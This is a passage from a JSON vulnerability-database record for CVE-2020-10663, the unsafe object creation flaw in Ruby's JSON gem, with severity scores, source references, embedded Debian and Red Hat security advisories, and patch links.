            "id": "CVE-2020-10663",
            "impactScore": 3.6,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 7.5,
            "baseSeverity": "High",
            "confidentialityImpact": "None",
            "exploitabilityScore": null,
            "id": "JVNDB-2020-005087",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2020-10663",
            "trust": 1.0,
            "value": "HIGH"
          },
          {
            "author": "NVD",
            "id": "JVNDB-2020-005087",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "VULHUB",
            "id": "VHN-163164",
            "trust": 0.1,
            "value": "MEDIUM"
          },
          {
            "author": "VULMON",
            "id": "CVE-2020-10663",
            "trust": 0.1,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-163164"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-10663"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-10663"
      }
    ]
  },
  "description": {
    "_id": null,
    "data": "The JSON gem through 2.2.0 for Ruby, as used in Ruby 2.4 through 2.4.9, 2.5 through 2.5.7, and 2.6 through 2.6.5, has an Unsafe Object Creation Vulnerability. This is quite similar to CVE-2013-0269, but does not rely on poor garbage-collection behavior within Ruby. Specifically, use of JSON parsing methods can lead to creation of a malicious object within the interpreter, with adverse effects that are application-dependent. An attacker could exploit this vulnerability to forcibly create arbitrary objects on the target system. When parsing certain JSON documents, the\n    json gem can be coerced into creating arbitrary objects in the\n    target system. \n\nCVE-2020-10933\n\n    Samuel Williams reported a flaw in the socket library which may lead\n    to exposure of possibly sensitive data from the interpreter. \n\nFor the stable distribution (buster), these problems have been fixed in\nversion 2.5.5-3+deb10u2. \n\nWe recommend that you upgrade your ruby2.5 packages. \n\nFor the detailed security status of ruby2.5 please refer to its security\ntracker page at:\nhttps://security-tracker.debian.org/tracker/ruby2.5\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\n\niQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAl8F5jVfFIAAAAAALgAo\naXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2\nNDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND\nz0RT1Q/9EmtF3l9EwsTqV0RaU0CvycnypEEHk0vahqwtDKe5m1j13RlbhU5PfeNm\nn8E4pzw30+zROL8vxrCBQbAkBLACJOD9GwnA1G5mUnga1m49+5TyHEfPTFDsZHZ7\nXqWuIJiQpOaPAi9xlywyqxji8OHPND2NNtCF1xk3Mpfk/7Y5JNJjFPnQnprfB4Hf\nc8AMjgmjV4ElJ60ALpXQzP7snVs4S+LA+Qb2O7V05u8zW0ytiEGTJNKrdG/+Rkrm\nXKUrEwPJLOU9DlR1JDXD491tOSYGiQdS/vWNQsyGKArpdDbhAUOybWZinD6ZG0KR\nL7atC327+eNDhpIKcmS4jMRnoQwjmlgPK6m0YwF4mKmyL4lWKwqCddDnIfr7jRSq\nbW3esnLJatEJiUbcSLpuBn0qO5f6HYb1iRhXJDQlPsuySIjObkn+rim9Bvo0NOQZ\nSZx74Rv1KX/kYpU4KcZyoygRuuWzl3pPYRj5BYJOViDGIcSKay4w7oypLjSWg7b3\nBQfKQ7MbIVIXLk27fS/mOKpG0uXM5cer7LGnZSovl+KQmgp4gBdtCpuzat7Jz3YI\ntJDwDSjfhUQu8Uew+6bnvDUJ+zFEp/fEly2ueZFSYkkPmWPMcaI3OIk/Q2dLt5ZX\ngC+Vad6gT/C2UBYZCxxcBTHOcAlImTQ/JPCQMOGrvZM6t7QouuA=\n=rTdk\n-----END PGP SIGNATURE-----\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n=====================================================================\n                   Red Hat Security Advisory\n\nSynopsis:          Moderate: rh-ruby25-ruby security, bug fix, and enhancement update\nAdvisory ID:       RHSA-2021:2104-01\nProduct:           Red Hat Software Collections\nAdvisory URL:      https://access.redhat.com/errata/RHSA-2021:2104\nIssue date:        2021-05-25\nCVE Names:         CVE-2019-15845 CVE-2019-16201 CVE-2019-16254 \n                   CVE-2019-16255 CVE-2020-10663 CVE-2020-10933 \n                   CVE-2020-25613 CVE-2021-28965 \n=====================================================================\n\n1. Summary:\n\nAn update for rh-ruby25-ruby is now available for Red Hat Software\nCollections. \n\nRed Hat Product Security has rated this update as having a security impact\nof Moderate. A Common Vulnerability Scoring System (CVSS) base score, which\ngives a detailed severity rating, is available for each vulnerability from\nthe CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Software Collections for Red Hat Enterprise Linux Server (v. 7) - noarch, ppc64le, s390x, x86_64\nRed Hat Software Collections for Red Hat Enterprise Linux Server EUS (v. 7.6) - noarch, ppc64le, s390x, x86_64\nRed Hat Software Collections for Red Hat Enterprise Linux Server EUS (v. 7.7) - noarch, ppc64le, s390x, x86_64\nRed Hat Software Collections for Red Hat Enterprise Linux Workstation (v. 7) - noarch, x86_64\n\n3. Description:\n\nRuby is an extensible, interpreted, object-oriented, scripting language. It\nhas features to process text files and to perform system management tasks. \n\nThe following packages have been upgraded to a later upstream version:\nrh-ruby25-ruby (2.5.9). (BZ#1952998)\n\nSecurity Fix(es):\n\n* ruby: NUL injection vulnerability of File.fnmatch and File.fnmatch?\n(CVE-2019-15845)\n\n* ruby: Regular expression denial of service vulnerability of WEBrick\u0027s\nDigest authentication (CVE-2019-16201)\n\n* ruby: Code injection via command argument of Shell#test / Shell#[]\n(CVE-2019-16255)\n\n* rubygem-json: Unsafe object creation vulnerability in JSON\n(CVE-2020-10663)\n\n* ruby: BasicSocket#read_nonblock method leads to information disclosure\n(CVE-2020-10933)\n\n* ruby: Potential HTTP request smuggling in WEBrick (CVE-2020-25613)\n\n* ruby: XML round-trip vulnerability in REXML (CVE-2021-28965)\n\n* ruby: HTTP response splitting in WEBrick (CVE-2019-16254)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\nBug Fix(es):\n\n* rh-ruby25-ruby: Resolv::DNS: timeouts if multiple IPv6 name servers are\ngiven and address contains leading zero [rhscl-3] (BZ#1953001)\n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\n5. Package List:\n\nRed Hat Software Collections for Red Hat Enterprise Linux Server (v. 7):\n\nSource:\nrh-ruby25-ruby-2.5.9-9.el7.src.rpm\n\nnoarch:\nrh-ruby25-ruby-doc-2.5.9-9.el7.noarch.rpm\nrh-ruby25-ruby-irb-2.5.9-9.el7.noarch.rpm\nrh-ruby25-rubygem-did_you_mean-1.2.0-9.el7.noarch.rpm\nrh-ruby25-rubygem-minitest-5.10.3-9.el7.noarch.rpm\nrh-ruby25-rubygem-net-telnet-0.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-power_assert-1.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-rake-12.3.3-9.el7.noarch.rpm\nrh-ruby25-rubygem-rdoc-6.0.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-test-unit-3.2.7-9.el7.noarch.rpm\nrh-ruby25-rubygem-xmlrpc-0.3.0-9.el7.noarch.rpm\nrh-ruby25-rubygems-2.7.6.3-9.el7.noarch.rpm\nrh-ruby25-rubygems-devel-2.7.6.3-9.el7.noarch.rpm\n\nppc64le:\nrh-ruby25-ruby-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.ppc64le.rpm\n\ns390x:\nrh-ruby25-ruby-2.5.9-9.el7.s390x.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.s390x.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.s390x.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.s390x.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.s390x.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.s390x.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.s390x.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.s390x.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.s390x.rpm\n\nx86_64:\nrh-ruby25-ruby-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.x86_64.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.x86_64.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.x86_64.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.x86_64.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.x86_64.rpm\n\nRed Hat Software Collections for Red Hat Enterprise Linux Server EUS (v. 7.6):\n\nSource:\nrh-ruby25-ruby-2.5.9-9.el7.src.rpm\n\nnoarch:\nrh-ruby25-ruby-doc-2.5.9-9.el7.noarch.rpm\nrh-ruby25-ruby-irb-2.5.9-9.el7.noarch.rpm\nrh-ruby25-rubygem-did_you_mean-1.2.0-9.el7.noarch.rpm\nrh-ruby25-rubygem-minitest-5.10.3-9.el7.noarch.rpm\nrh-ruby25-rubygem-net-telnet-0.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-power_assert-1.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-rake-12.3.3-9.el7.noarch.rpm\nrh-ruby25-rubygem-rdoc-6.0.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-test-unit-3.2.7-9.el7.noarch.rpm\nrh-ruby25-rubygem-xmlrpc-0.3.0-9.el7.noarch.rpm\nrh-ruby25-rubygems-2.7.6.3-9.el7.noarch.rpm\nrh-ruby25-rubygems-devel-2.7.6.3-9.el7.noarch.rpm\n\nppc64le:\nrh-ruby25-ruby-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.ppc64le.rpm\n\ns390x:\nrh-ruby25-ruby-2.5.9-9.el7.s390x.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.s390x.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.s390x.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.s390x.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.s390x.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.s390x.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.s390x.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.s390x.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.s390x.rpm\n\nx86_64:\nrh-ruby25-ruby-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.x86_64.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.x86_64.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.x86_64.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.x86_64.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.x86_64.rpm\n\nRed Hat Software Collections for Red Hat Enterprise Linux Server EUS (v. 7.7):\n\nSource:\nrh-ruby25-ruby-2.5.9-9.el7.src.rpm\n\nnoarch:\nrh-ruby25-ruby-doc-2.5.9-9.el7.noarch.rpm\nrh-ruby25-ruby-irb-2.5.9-9.el7.noarch.rpm\nrh-ruby25-rubygem-did_you_mean-1.2.0-9.el7.noarch.rpm\nrh-ruby25-rubygem-minitest-5.10.3-9.el7.noarch.rpm\nrh-ruby25-rubygem-net-telnet-0.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-power_assert-1.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-rake-12.3.3-9.el7.noarch.rpm\nrh-ruby25-rubygem-rdoc-6.0.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-test-unit-3.2.7-9.el7.noarch.rpm\nrh-ruby25-rubygem-xmlrpc-0.3.0-9.el7.noarch.rpm\nrh-ruby25-rubygems-2.7.6.3-9.el7.noarch.rpm\nrh-ruby25-rubygems-devel-2.7.6.3-9.el7.noarch.rpm\n\nppc64le:\nrh-ruby25-ruby-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.ppc64le.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.ppc64le.rpm\n\ns390x:\nrh-ruby25-ruby-2.5.9-9.el7.s390x.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.s390x.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.s390x.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.s390x.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.s390x.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.s390x.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.s390x.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.s390x.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.s390x.rpm\n\nx86_64:\nrh-ruby25-ruby-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.x86_64.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.x86_64.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.x86_64.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.x86_64.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.x86_64.rpm\n\nRed Hat Software Collections for Red Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nrh-ruby25-ruby-2.5.9-9.el7.src.rpm\n\nnoarch:\nrh-ruby25-ruby-doc-2.5.9-9.el7.noarch.rpm\nrh-ruby25-ruby-irb-2.5.9-9.el7.noarch.rpm\nrh-ruby25-rubygem-did_you_mean-1.2.0-9.el7.noarch.rpm\nrh-ruby25-rubygem-minitest-5.10.3-9.el7.noarch.rpm\nrh-ruby25-rubygem-net-telnet-0.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-power_assert-1.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-rake-12.3.3-9.el7.noarch.rpm\nrh-ruby25-rubygem-rdoc-6.0.1.1-9.el7.noarch.rpm\nrh-ruby25-rubygem-test-unit-3.2.7-9.el7.noarch.rpm\nrh-ruby25-rubygem-xmlrpc-0.3.0-9.el7.noarch.rpm\nrh-ruby25-rubygems-2.7.6.3-9.el7.noarch.rpm\nrh-ruby25-rubygems-devel-2.7.6.3-9.el7.noarch.rpm\n\nx86_64:\nrh-ruby25-ruby-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-debuginfo-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-devel-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-ruby-libs-2.5.9-9.el7.x86_64.rpm\nrh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.x86_64.rpm\nrh-ruby25-rubygem-io-console-0.4.6-9.el7.x86_64.rpm\nrh-ruby25-rubygem-json-2.1.0-9.el7.x86_64.rpm\nrh-ruby25-rubygem-openssl-2.1.2-9.el7.x86_64.rpm\nrh-ruby25-rubygem-psych-3.0.2-9.el7.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security.  Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2019-15845\nhttps://access.redhat.com/security/cve/CVE-2019-16201\nhttps://access.redhat.com/security/cve/CVE-2019-16254\nhttps://access.redhat.com/security/cve/CVE-2019-16255\nhttps://access.redhat.com/security/cve/CVE-2020-10663\nhttps://access.redhat.com/security/cve/CVE-2020-10933\nhttps://access.redhat.com/security/cve/CVE-2020-25613\nhttps://access.redhat.com/security/cve/CVE-2021-28965\nhttps://access.redhat.com/security/updates/classification/#moderate\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2021 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBYKz4Z9zjgjWX9erEAQiSGhAAolhk0URp2zYTGrVhSmNdAVBtSoAd6btc\nddv/r5SiXmDuIVM9yUYeLkG62c0cLJOEKENN5ejBg0okwi4sEyd0qOQOEEGB0hSb\nqGtsePb5k8qDrS8jadaYBldgEhzE9wOKpZHet5+P+NPVTlLmbwNs7feeP5pTjoiv\ntacVQgkEsyNyQk1EtOm7IZpdoYwc2oQcA490c3ydG+LKBC/Sw6y3UeugEc1uhQl4\nDa0VzGlK3wBd33hT5Sr/8hYZsjUUGKTUmmyuWomN3oJJzxCO3JEj0MY1P9O5ADmN\n3KQ8jOe4eYW9XK51JqUoKuSLViTNiZLYUiNJmG7jEh1/aRcbPSm4wns467vb9xzC\nzaAhS4vXnLSTJw7sUrAqudN+pvmH9qcHJ3/RtSaYOQNU01uyy6r2XTSXcOXKmkYa\nqBv3WmxnPgRR9H2jczj9Qvnqt7TjhiTE1sceAPDEmUY00TFC4hmcons3vleqxI1s\nnJi5oKmns3+POTiurLDkoiK5wVY2Uexos8D5sA7PsKIuve3UNeOOzm6OVRp60eqF\nMusHiyR0SG+C2cICx1zog5Z2k1FSI0s/yGprY61qxZAsA+znaJeAFCjlDJPoeoTK\nlfBP2x/L7KD40pq2LmuE8Y3oEHeF4D5K5yCXJIFxKHrCUFafD++U8GzXd2vjWTxu\nVVreNcSVN/E=\n=m8n+\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://listman.redhat.com/mailman/listinfo/rhsa-announce\n. 8) - aarch64, noarch, ppc64le, s390x, x86_64\n\n3. \n\nBug Fix(es):\n\n* [GUI] Colocation constraint can\u0027t be added (BZ#1840157)\n\n4. 8) - ppc64le, s390x, x86_64\n\n3. Description:\n\nThe pcs packages provide a command-line configuration system for the\nPacemaker and Corosync utilities. \n\nBug Fix(es):\n\n* pcs status on remotes is not working on rhel8.2 any longer (BZ#1832914)\n\n* pcs cluster stop --all throws errors and doesn\u0027t seem to honor the\nrequest-timeout option (BZ#1838084)\n\n* [GUI] Colocation constraint can\u0027t be added (BZ#1840158)\n\n4. Bugs fixed (https://bugzilla.redhat.com/):\n\n1827500 - CVE-2020-10663 rubygem-json: Unsafe Object Creation Vulnerability in JSON\n1832914 - pcs status on remotes is not working on rhel8.2 any longer [rhel-8.2.0.z]\n1838084 - pcs cluster stop --all throws errors and doesn\u0027t seem to honor the request-timeout option [rhel-8.2.0.z]\n1840158 - [GUI] Colocation constraint can\u0027t be added [rhel-8.2.0.z]\n\n6",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2020-10663"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087"
      },
      {
        "db": "VULHUB",
        "id": "VHN-163164"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-10663"
      },
      {
        "db": "PACKETSTORM",
        "id": "168868"
      },
      {
        "db": "PACKETSTORM",
        "id": "162764"
      },
      {
        "db": "PACKETSTORM",
        "id": "163317"
      },
      {
        "db": "PACKETSTORM",
        "id": "162953"
      },
      {
        "db": "PACKETSTORM",
        "id": "158184"
      },
      {
        "db": "PACKETSTORM",
        "id": "158023"
      },
      {
        "db": "PACKETSTORM",
        "id": "158018"
      },
      {
        "db": "PACKETSTORM",
        "id": "166070"
      }
    ],
    "trust": 2.52
  },
  "exploit_availability": {
    "_id": null,
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-163164",
        "trust": 0.1,
        "type": "unknown"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-163164"
      }
    ]
  },
  "external_ids": {
    "_id": null,
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2020-10663",
        "trust": 2.8
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087",
        "trust": 0.8
      },
      {
        "db": "PACKETSTORM",
        "id": "163317",
        "trust": 0.2
      },
      {
        "db": "PACKETSTORM",
        "id": "158023",
        "trust": 0.2
      },
      {
        "db": "PACKETSTORM",
        "id": "158184",
        "trust": 0.2
      },
      {
        "db": "PACKETSTORM",
        "id": "162764",
        "trust": 0.2
      },
      {
        "db": "PACKETSTORM",
        "id": "158018",
        "trust": 0.2
      },
      {
        "db": "PACKETSTORM",
        "id": "162953",
        "trust": 0.2
      },
      {
        "db": "PACKETSTORM",
        "id": "161870",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "160545",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "163318",
        "trust": 0.1
      },
      {
        "db": "CNVD",
        "id": "CNVD-2020-32355",
        "trust": 0.1
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1294",
        "trust": 0.1
      },
      {
        "db": "VULHUB",
        "id": "VHN-163164",
        "trust": 0.1
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-10663",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "168868",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "166070",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-163164"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-10663"
      },
      {
        "db": "PACKETSTORM",
        "id": "168868"
      },
      {
        "db": "PACKETSTORM",
        "id": "162764"
      },
      {
        "db": "PACKETSTORM",
        "id": "163317"
      },
      {
        "db": "PACKETSTORM",
        "id": "162953"
      },
      {
        "db": "PACKETSTORM",
        "id": "158184"
      },
      {
        "db": "PACKETSTORM",
        "id": "158023"
      },
      {
        "db": "PACKETSTORM",
        "id": "158018"
      },
      {
        "db": "PACKETSTORM",
        "id": "166070"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-10663"
      }
    ]
  },
  "id": "VAR-202004-0061",
  "iot": {
    "_id": null,
    "data": true,
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-163164"
      }
    ],
    "trust": 0.01
  },
  "last_update_date": "2026-03-09T21:09:41.415000Z",
  "patch": {
    "_id": null,
    "data": [
      {
        "title": "[SECURITY] [DLA 2192-1] ruby2.1 security update",
        "trust": 0.8,
        "url": "https://lists.debian.org/debian-lts-announce/2020/04/msg00030.html"
      },
      {
        "title": "FEDORA-2020-26df92331a",
        "trust": 0.8,
        "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7QL6MJD2BO4IRJ5CJFNMCDYMQQFT24BJ/"
      },
      {
        "title": "FEDORA-2020-a95706b117",
        "trust": 0.8,
        "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F4TNVTT66VPRMX5UZYSDGSVRXKKDDDU5/"
      },
      {
        "title": "FEDORA-2020-d171bf636d",
        "trust": 0.8,
        "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NK2PBXWMFRUD7U7Q7LHV4KYLYID77RI4/"
      },
      {
        "title": "openSUSE-SU-2020:0586-1",
        "trust": 0.8,
        "url": "https://lists.opensuse.org/opensuse-security-announce/2020-05/msg00004.html"
      },
      {
        "title": "CVE-2020-10663: Unsafe Object Creation Vulnerability in JSON (Additional fix)",
        "trust": 0.8,
        "url": "https://www.ruby-lang.org/en/news/2020/03/19/json-dos-cve-2020-10663/"
      },
      {
        "title": "Red Hat: Moderate: pcs security and bug fix update",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=red_hat_security_advisories\u0026qid=RHSA-20202473 - Security Advisory"
      },
      {
        "title": "Red Hat: Moderate: pcs security and bug fix update",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=red_hat_security_advisories\u0026qid=RHSA-20202670 - Security Advisory"
      },
      {
        "title": "Debian Security Advisories: DSA-4721-1 ruby2.5 -- security update",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=debian_security_advisories\u0026qid=5216eb40be88e11afae842c5a0cad903"
      },
      {
        "title": "Amazon Linux AMI: ALAS-2020-1426",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=amazon_linux_ami\u0026qid=ALAS-2020-1426"
      },
      {
        "title": "Amazon Linux AMI: ALAS-2020-1423",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=amazon_linux_ami\u0026qid=ALAS-2020-1423"
      },
      {
        "title": "Amazon Linux AMI: ALAS-2020-1416",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=amazon_linux_ami\u0026qid=ALAS-2020-1416"
      },
      {
        "title": "Amazon Linux 2: ALAS2-2021-1641",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=amazon_linux2\u0026qid=ALAS2-2021-1641"
      },
      {
        "title": "Red Hat: Important: ruby:2.6 security update",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=red_hat_security_advisories\u0026qid=RHSA-20220582 - Security Advisory"
      },
      {
        "title": "Red Hat: Important: ruby:2.6 security update",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=red_hat_security_advisories\u0026qid=RHSA-20220581 - Security Advisory"
      },
      {
        "title": "Amazon Linux AMI: ALAS-2020-1422",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=amazon_linux_ami\u0026qid=ALAS-2020-1422"
      },
      {
        "title": "Amazon Linux 2: ALASRUBY2.6-2023-007",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=amazon_linux2\u0026qid=ALASRUBY2.6-2023-007"
      },
      {
        "title": "mandrill-api-ruby",
        "trust": 0.1,
        "url": "https://github.com/CareerJSM/mandrill-api-ruby "
      },
      {
        "title": "gem mandrill-api",
        "trust": 0.1,
        "url": "https://github.com/szmo/mandrill-api-updated "
      },
      {
        "title": "mandrill-api-ruby",
        "trust": 0.1,
        "url": "https://github.com/retailzipline/mandrill-api-ruby "
      },
      {
        "title": "Workaround for CVE-2020-10663 (vulnerability in json gem)",
        "trust": 0.1,
        "url": "https://github.com/rails-lts/json_cve_2020_10663 "
      },
      {
        "title": "gem mandrill-api",
        "trust": 0.1,
        "url": "https://github.com/getaway-house/gem-mandrill-api "
      },
      {
        "title": "CodeQuality",
        "trust": 0.1,
        "url": "https://github.com/rainchen/code_quality "
      },
      {
        "title": "https://github.com/francois/bundler-slowness-repro",
        "trust": 0.1,
        "url": "https://github.com/francois/bundler-slowness-repro "
      },
      {
        "title": "PoC in GitHub",
        "trust": 0.1,
